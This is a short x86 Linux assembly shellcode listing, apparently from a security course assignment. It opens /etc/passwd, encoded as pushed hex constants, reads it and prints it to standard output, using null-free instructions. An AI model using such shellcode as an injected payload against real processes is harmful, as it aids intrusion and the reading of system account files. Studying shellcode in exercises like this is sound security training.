Tiny Read File - Assembly Language - Linux/x86 - forlife

tiny_read_file.asm

; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_read_file.asm

global _start

section .text

_start:

	; int open(const char *pathname, int flags);

	xor ecx, ecx
	mul ecx
	mov al, 5
	push ecx
	push 0x64777373
	push 0x61702f63
	push 0x74652f2f
	mov ebx, esp
	int 0x80

	; ssize_t read(int fd, void *buf, size_t count);

	xchg eax, ebx
	xchg ecx, eax
	mov al, 3
	xor edx, edx
	mov dx, 4095
	inc edx
	int 0x80

	; ssize_t write(int fd, const void *buf, size_t count);

	xchg edx, eax
	xor eax, eax
	mov al, 4
	mov bl, 1
	int 0x80

	; void _exit(int status);
  
	xchg eax, ebx
	int 0x80